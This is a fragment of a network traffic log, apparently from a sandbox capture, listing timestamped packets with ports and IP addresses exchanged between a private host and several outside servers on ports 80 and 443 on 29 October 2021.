Oct 29, 2021 15:31:19.154608965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:19.185512066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.185549021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.185642958 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191263914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191294909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191322088 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191345930 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191370964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191391945 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191392899 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191409111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191431999 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191432953 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191457033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191481113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191497087 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191499949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191525936 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191550016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191576958 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191603899 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191628933 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191647053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.191649914 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.191687107 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.193758965 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.196367979 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.196389914 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.201042891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:19.201138973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:19.248734951 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.248770952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.248788118 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.248892069 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.248987913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.249048948 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.249150991 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249324083 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249393940 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.249413013 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249546051 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249608994 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.249627113 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249650955 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249699116 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.249744892 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249844074 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249901056 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.249913931 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249933004 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.249994040 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250034094 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250133991 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250179052 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250193119 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250274897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250317097 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250329971 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250411987 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250458002 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250471115 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250591993 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250647068 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250659943 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250734091 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250782013 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250793934 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250871897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.250916004 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.250927925 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251007080 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251053095 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251065969 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251147985 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251209974 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251224041 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251240969 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251280069 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251321077 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251420975 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251463890 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251477003 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251564980 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251609087 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251621962 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251705885 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251746893 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251760006 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251844883 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251885891 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.251898050 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.251987934 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.252029896 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.252042055 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.252126932 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.252172947 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.252186060 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.252279043 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.252355099 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.252370119 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.254497051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.254554033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.254605055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.254606009 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.254638910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.254686117 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.254692078 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.254717112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.254757881 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260206938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260271072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260323048 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260334969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260379076 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260459900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260473013 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260571957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260627031 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260631084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260675907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260720015 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260735989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260777950 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260832071 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260876894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260922909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.260967016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.260986090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261030912 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261079073 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.261086941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261132956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261198044 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.261213064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261255980 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261296988 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.261302948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261343956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261389017 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.261408091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261452913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261496067 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.261506081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261548996 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.261591911 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.261605978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.266738892 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.266824007 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.266844988 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.266863108 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.266880035 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.266962051 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267025948 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267040014 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267077923 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267095089 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267112017 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267128944 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267195940 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267280102 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267294884 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267358065 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267690897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267760992 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267862082 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.267923117 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.267961979 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.268028021 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.284501076 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.284662008 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.284687996 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.284720898 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.284769058 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.284792900 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.284877062 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.284892082 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.284965038 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.284986973 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285059929 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285099030 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285161972 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285202026 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285268068 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285303116 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285371065 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285393000 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285458088 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285546064 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285617113 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285639048 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285655022 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285680056 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285769939 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285826921 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285840034 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285892963 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.285911083 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.285969973 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286011934 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286070108 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286122084 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286173105 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286232948 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286294937 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286334991 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286422014 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286439896 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286458015 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286499023 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286546946 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286612034 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286670923 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286777020 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286814928 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286827087 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286847115 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286915064 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.286967993 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.286981106 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.287036896 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.287072897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.287131071 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.287173033 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.287231922 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.287272930 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.287331104 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.287370920 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.287432909 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.302270889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:19.302439928 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:19.302472115 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:19.304254055 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304362059 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304426908 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.304444075 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304488897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304549932 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.304559946 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.304569960 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304617882 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.304692030 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304763079 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304783106 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.304800987 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.304889917 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.304992914 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.305084944 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.305100918 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.305186033 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.305425882 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.305520058 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.305547953 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.305566072 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.305587053 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.305603981 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.305640936 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.305659056 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.306121111 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.306159973 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.306243896 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.306257963 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.306303024 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.306319952 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.306519985 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.306596041 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.306627035 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.306643009 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.306688070 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.307090044 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.307126045 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.307199001 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.307213068 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.307279110 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.307569981 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.307607889 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.307687998 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.307703972 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.307725906 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.308018923 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308053970 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308125973 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.308139086 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308154106 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.308449030 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308485985 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308549881 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.308563948 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308593035 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.308842897 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308901072 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.308994055 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.309007883 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309041977 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.309281111 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309318066 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309380054 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.309395075 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309411049 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.309669971 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309705973 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309751034 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.309767962 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.309783936 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.312520981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312553883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312585115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312608004 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.312612057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312637091 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.312638998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312666893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312690020 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.312695026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312724113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.312745094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.317676067 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317712069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317740917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317766905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317766905 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.317796946 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317804098 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.317826033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317850113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.317851067 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317879915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317893028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.317909002 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317935944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317948103 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.317964077 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.317991018 CEST	80	49842	45.141.84.21	192.168.2.7
